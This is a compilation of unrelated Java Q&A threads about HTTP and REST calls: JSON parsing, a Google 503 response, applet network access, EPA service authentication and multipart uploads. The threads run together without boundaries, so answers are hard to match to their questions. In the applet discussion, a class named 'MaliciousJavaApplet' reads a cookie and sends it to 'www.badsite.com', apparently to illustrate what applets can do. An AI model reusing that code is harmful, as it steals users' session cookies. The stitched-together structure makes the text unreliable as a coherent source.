So I'm trying to access data frim a rest api using java code and I'm not very experienced in getting data from an api using java. I had found the code below on another question. This code was able to output all the data from the link but I'm a bit confused on how to get specific values from the link. The link in the code below shows the nutrition info for an apple and what I'm looking for is being able to output specific values such as the fdcId or the description.
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class Main {
public static void main(String[] args) {
try {
URL url = new URL("https://api.nal.usda.gov/fdc/v1/food/1750339?api_key=DEMO_KEY");//your url i.e fetch data from .
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("Accept", "application/json");
if (conn.getResponseCode() != 200) {
throw new RuntimeException("Failed : HTTP Error code : "
+ conn.getResponseCode());
}
InputStreamReader in = new InputStreamReader(conn.getInputStream());
BufferedReader br = new BufferedReader(in);
String output;
while ((output = br.readLine()) != null) {
System.out.println(output);
}
conn.disconnect();
} catch (Exception e) {
System.out.println("Exception in NetClientGet:- " + e);
}
}
}
I haven't really tried much with the code. I tried looking for the answer for this online and didn't find much
You need to look how to parse Json in Java. This way you can take any data you need from that Json file. Some explanations for the similar question are here.
Usually Spring or other frameworks used for this purposes. In your example you can save JSON response to string like this:
String reponse = "";
String line;
while ((line = br.readLine()) != null) {
reponse += line;
}
And than parse this JSON, f.e. using Jackson ObjectMapper convert it into your dto.
There is an example here: https://www.baeldung.com/jackson-object-mapper-tutorial
Your question should be divided in two parts:
How to read info from API
How to parse it.
The first part you already did. But you can do it with less code by far. You can use 3d party HTTP clients. The most popular are Apache Http Client with good tutorial - Apache HttpClient Tutorial and OK Http client with good tutorial - A Guide to OkHttp. However, I wrote my own Http client that is not widely known but very simple to use.
The second part is how to parse Json. And for that you can use also 3d party Json parsers. The most popular ones would be Json Jackson or Gson (of Google). And again I also wrote my own thin wrapper over Json-Jackson that allows you to parse Json very simply. Here is the code example that uses my own utilities:
HttpClient httpClient = new HttpClient();
try {
httpClient.setConnectionUrl("https://api.nal.usda.gov/fdc/v1/food/1750339?api_key=DEMO_KEY");
httpClient.setRequestHeader("Accept", "application/json");
String jsonResponse = httpClient.sendHttpRequest(HttpClient.HttpMethod.GET);
Map<String, Object> map = JsonUtils.readObjectFromJsonString(jsonResponse, Map.class);
System.out.println("fdcid: " + map.get("fdcId"));
System.out.println("description: " + map.get("description"));
} catch (Exception e) {
System.out.println(httpClient.getLastResponseCode() + " "
+ httpClient.getLastResponseMessage() + TextUtils.getStacktrace(e, false));
}
If you run this code this would be the output:
fdcid: 1750339
description: Apples, red delicious, with skin, raw
The classes HttpClient, JsonUtils and TextUtils all come as part of MgntUtils Open Source library written and maintained by me. Here is Javadoc for the library If you want the source code of the whole library you can get it on Github here, and just the library as Maven artifact is available from Maven Central here
When I call this in java :
URL url = new URL("http://www.google.com/finance/getprices?q=MSFT");
URLConnection goog = url.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(goog.getInputStream()));
I get this as exception :
java.io.IOException: Server returned HTTP response code: 503 for URL: http://www.google.com/sorry/?continue=http://www.google.com/finance/getprices%3Fq%3MSFTO%26
I don't have converted URL in my function because its generated automatically when my URL is called, My original URL is string after "continue=", how can I get it back from this URL?
EDIT :
Because I am calling this page again and again it generates this URL http://www.google.com/sorry/?continue=http://www.google.com/finance/getprices%3Fq%3MSFTO%26 and it says :
Our systems have detected unusual traffic from your computer network. This page checks to see if it's really you sending the requests, and not a robot.
If I copy paste URL after continue= it gives me actual content of page.
503 is a response code which tells service is down or unavailabe
wiki link
According to wikipedia
503 Service Unavailable
The server is currently unavailable (because it is overloaded or down for maintenance).[2] Generally, this is a temporary state.
I have tried your code and this is woriking fine (giving no exception)
URL url = new URL("http://www.google.com/finance/getprices?q=MSFT");
URLConnection goog = url.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(goog.getInputStream()));
String temp;
while((temp = in.readLine())!= null){
System.out.println(temp);
}
}catch(Exception ex){
ex.printStackTrace();
}
and its return me
EXCHANGE%3DNASDAQ
MARKET_OPEN_MINUTE=570
MARKET_CLOSE_MINUTE=960
INTERVAL=86400
COLUMNS=DATE,CLOSE,HIGH,LOW,OPEN,VOLUME
DATA=
TIMEZONE_OFFSET=-240
a1370289600,35.59,35.63,34.83,34.92,51256272
1,34.99,35.74,34.771,35.62,65538438
2,34.78,34.89,34.43,34.6,46032657
3,34.96,35.11,34.49,34.84,37627133
4,35.67,35.78,35.06,35.25,40762249
7,35.47,35.65,35.14,35.51,35995223
8,34.84,35.18,34.68,35.05,39350316
9,35,35.27,34.85,35.14,37373032
10,34.715,35.02,34.59,34.99,45654803
11,34.4,34.6901,34.25,34.55,53116371
14,35,35.16,34.63,34.69,49672492
15,34.98,35.17,34.895,34.97,28622929
16,34.59,35.09,34.59,34.96,30820208
17,33.49,34.33,33.37,34.26,54496758
18,33.265,33.73,33.05,33.66,85338395
21,33.715,34.2,32.57,32.94,56113708
22,33.67,34.38,33.46,34.08,44073348
23,34.35,34.48,33.8875,34.12,48667834
24,34.62,34.78,34.5,34.52,28993542
25,34.545,34.79,34.34,34.38,65548196
28,34.36,34.99,34.33,34.75,31064000
So probably problem is that service is not available temporarily in your area.
I'd like to create a simple URL connection that would, for example, read content from my predefined host, in my case - localhost/applet, can you please show me how to do that? I've been googling, but so far without any noticable success.
The content of the file is some text SOME TEXT, that should then be printed in the applet.
You can do this using the URL class:
URL url;
InputStream is = null;
DataInputStream dis;
String line;
url = new URL([put a string with the local host address here. Usual is something like 127.0.0.1]); // can also just put a website to test it.
is = url.openStream(); // throws an IOException
dis = new DataInputStream(new BufferedInputStream(is));
while ((line = dis.readLine()) != null) {
System.out.println(line); //will get each line from the text file and print it. could also put it in a variable.
}
Your question is kind of confusing, so tell me if I did not answer it. What do you mean by localhost/applet is it a java applet? or is it just a textfile name applet?? Where is the text file exactly??
Unsigned Applets
Unsigned applets can perform the following operations:
They can make network connections to the host they came from.
They can easily display HTML documents using the showDocument method of the java.applet.AppletContext class.
They can invoke public methods of other applets on the same page.
Applets that are loaded from the local file system (from a directory in the user's CLASSPATH) have none of the restrictions that applets loaded over the network do.
They can read secure system properties. See System Properties for a list of secure system properties.
When launched by using JNLP, unsigned applets can also perform the following operations:
They can open, read, and save files on the client.
They can access the shared system-wide clipboard.
They can access printing functions.
They can store data on the client, decide how applets should be downloaded and cached, and much more. See JNLP API for more information about developing applets by using the JNLP API.
Unsigned applets cannot perform the following operations:
They cannot access client resources such as the local filesystem, executable files, system clipboard, and printers.
They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).
They cannot load native libraries.
They cannot change the SecurityManager.
They cannot create a ClassLoader.
They cannot read certain system properties. See System Properties for a list of forbidden system properties.
Signed Applets
Signed applets do not have the security restrictions that are imposed on unsigned applets and can run outside the security sandbox.
import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
TextArea messageLog = new TextArea(4, 40);
public void init() {
setLayout(new BorderLayout());
add("Center", messageLog);
}
public void start() {
try {
URL url = new URL("http://www.targetsite.net/default.html");
URLConnection connection;
String inputLine;
BufferedReader inReader;
connection = url.openConnection();
connection.setAllowUserInteraction(false);
connection.setDoOutput(true);
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
messageLog.append("File read from URL " + url + ":\n");
inReader = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
while (null != (inputLine = inReader.readLine())) {
messageLog.append(inputLine + "\n");
}
inReader.close();
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
String cookie;
cookie = connection.getRequestProperty("cookie");
URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
URLConnection connection2;
String inputLine2;
BufferedReader inReader2;
connection2 = url2.openConnection();
connection2.setAllowUserInteraction(false);
connection2.setDoOutput(true);
inReader2 = new BufferedReader(
new InputStreamReader(connection2.getInputStream()));
while (null != (inputLine2 = inReader2.readLine())) {
messageLog.append(inputLine2 + "\n");
}
inReader2.close();
}
catch (IOException e) {
System.err.println("Exception: " + e);
}
}
}
I have to test the EPA's Data Exchange Web Services. Since it is difficult to create 100 accounts, buildings, energy usage distributions, etc. I want to automate the process. I searched for code examples to do a simple GET. The best one I found was at http://pic.dhe.ibm.com/infocenter/tivihelp/v10r1/index.jsp?topic=%2Fcom.ibm.taddm.doc_7.2%2FSDKDevGuide%2Ft_cmdbsdk_restapi_java.html. I modified this for my purposes.
With the certificate, it is throwing an error at that line
Without the certificate (commented out), the connection is timing out and throwing the exception at getResponseCode().
I'm not sure:
What is the correct way of submitting a certificate
If I am sending the credentials correctly
If my code is incomplete, and therefore, the application is unable to get the response code
I should be using Eclipse EE (with Web Tools Platform) and create Project > Web Application, instead of Eclipse Juno (without WTP)
Thank you in advance.
package Package1;
import java.io.*;
import java.util.*;
import java.lang.StringBuffer;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.ssl.HttpsURLConnection;
public class Class1 {
public static void main (String args[]){
try{
// set this property to the location of the cert file
System.setProperty("javax.net.ssl.trustStore","C:/Documents and Settings/bhattdr/Desktop/-.energystar.gov.der");
String username = "yy777PPP";
String password = "yy777PPP";
String userpass = "";
URL url = new URL("https://portfoliomanager.energystar.gov/wstest/account");
// URLConnection uc = url.openConnection();
HttpsURLConnection uc = (HttpsURLConnection) url.openConnection();
userpass = username + ":" + password;
String basicAuth = "Basic " + javax.xml.bind.DatatypeConverter.printBase64Binary(userpass.getBytes());
System.out.println("sending request...");
uc.setRequestMethod("GET");
uc.setAllowUserInteraction(false);
uc.setDoOutput(true);
uc.setRequestProperty( "Content-type", "text/xml" );
uc.setRequestProperty( "Accept", "text/xml" );
uc.setRequestProperty ("Authorization", basicAuth);
System.out.println(uc.getRequestProperties());
// uc.setRequestProperty( "authorization", "Basic " + encode("administrator:collation"));
// Map headerFields = uc.getHeaderFields();
// System.out.println("header fields are: " + headerFields);
int rspCode = uc.getResponseCode();
if (rspCode == 200) {
InputStream is = uc.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String nextLine = br.readLine();
while (nextLine != null) {
System.out.println(nextLine);
nextLine = br.readLine();
}
}
}
catch(IOException e) {
e.printStackTrace();
}
}
}
You don't need to roll your own.
If you want to write something, you can use Jersey, which has existing classes to act as Rest Clients (Rest clients for Java?)
There are plenty of apps which exercise rest apis which you can use if you don't want to write something. Google turns up plenty (like http://code.google.com/p/rest-client/)
You're using a DER file as your key store which is not supported by Java
Crypto normally. Use the keytool to create a JKS or some other supported keystore and then refer to it.
AMong all the frameworks for REST-Clients... did you try OpenFeign? It's a components from the NetFlix stack. Easy to use and fits into all the other
components of NetFlix.
Give it a try: https://github.com/OpenFeign/feign
I have webservice that I am trying to call:
The following Curl command works for that
curl -F fa=c.apiupload -F sessiontoken=EA3237F922644115A0F7DB75D0AE388F -F destfolderid=52482BD488DB4AD6887C5C7BF47BD6FC -F filedata=#/Users/cpinera/tmp/panda2.jpg -F zip_extract=1 -F metadata=1 -F meta_img_description="This is a very nice panda" -F meta_img_keywords="panda,happy panda" http://domain.com/razuna/raz1/dam/index.cfm
but the equivalent URL that I generates as my HttpURLConnection for accessing RESTFul API does not :
http://domain.com/razuna/raz1/dam/index.cfm?fa=c.apiupload&sessiontoken=F46D2226463C4ADE866819AACD7D2F5E&filedata=C:\JobInterview\BatchUpload\auth.xml&destfolderid=52482BD488DB4AD6887C5C7BF47BD6FC&zip_extract=1
I get this response for the REST Request:
The content was :: <?xml version="1.0" encoding="UTF-8"?><Response><responsecode>1</responsecode><message>Upload failed This was not an uploaded form type</message></Response>
Here is the Java Code
Method that uses queries the URL:
public static String doQuery(String loginUrl) throws IOException{
URL url = new URL(loginUrl);
HttpURLConnection conn =
(HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
if (conn.getResponseCode() != 200) {
throw new IOException(conn.getResponseMessage());
}
InputStream is = conn.getInputStream();
//Buffer the result into a string
BufferedReader rd = new BufferedReader(
new InputStreamReader(is));
StringBuilder sb = new StringBuilder();
String line;
while ((line = rd.readLine()) != null) {
line = StringEscapeUtils.unescapeHtml4(line);
sb.append(line);
}
rd.close();
conn.disconnect();
System.out.println("The content was :: " + sb.toString());
return sb.toString();
}
Method that should upload:
public static void testUpload(String seesionToken, String file ) throws IOException{
String upload = "http://domain.com:8080/razuna/raz1/dam/index.cfm?fa=c.apiupload&sessiontoken="+seesionToken+"&filedata="+file+"&destfolderid=52482BD488DB4AD6887C5C7BF47BD6FC&zip_extract=1" ;
System.out.println(upload);
Authenticate.doQuery(upload);
}
After adding in doQuery:
conn.setRequestProperty("Content-Type", "multipart/form-data");
And changing RESTFul URL to:
http://domain.com:8080/razuna/raz1/dam/index.cfm?fa=c.apiupload&sessiontoken="+seesionToken+"&filedata="+files.toURI()+"&destfolderid=52482BD488DB4AD6887C5C7BF47BD6FC&zip_extract=1"
It seems to detect that URL is trying to send a File but still cannot upload file:
The content was :: <?xml version="1.0" encoding="UTF-8"?><Response><responsecode>1</responsecode><message>Upload failed There was no appropriate FILE found in the upload</message></Response>
Your curl command is uploading the file #/Users/cpinera/tmp/panda2.jpg. Using the URL by itself will not, it will simply access the page, hence your error that 'this was not an uploaded form'.
When you run curl with -F parameters, it sends an HTTP POST request with the specified name-value pairs passed in the body of the HTTP request. When you access a URL using query string parameters, an HTTP GET is performed. It seems likely that the server handles those two request methods differently.
Update, now that you've posted some Java code:
The values in the query string portion of the URL are used to convey information to the web server that will be handling the request. Of course, this remote server is not going to know what C:/path/to/your/file is, because this is a path to a file on your local machine. The proper way to send this file data is to open the file in Java, and then read it and write it to the HttpUrlConnection's output stream.
For example, see the code snippet under "Posting Content" on the Android documentation's discussion of HttpUrlConnection: http://developer.android.com/reference/java/net/HttpURLConnection.html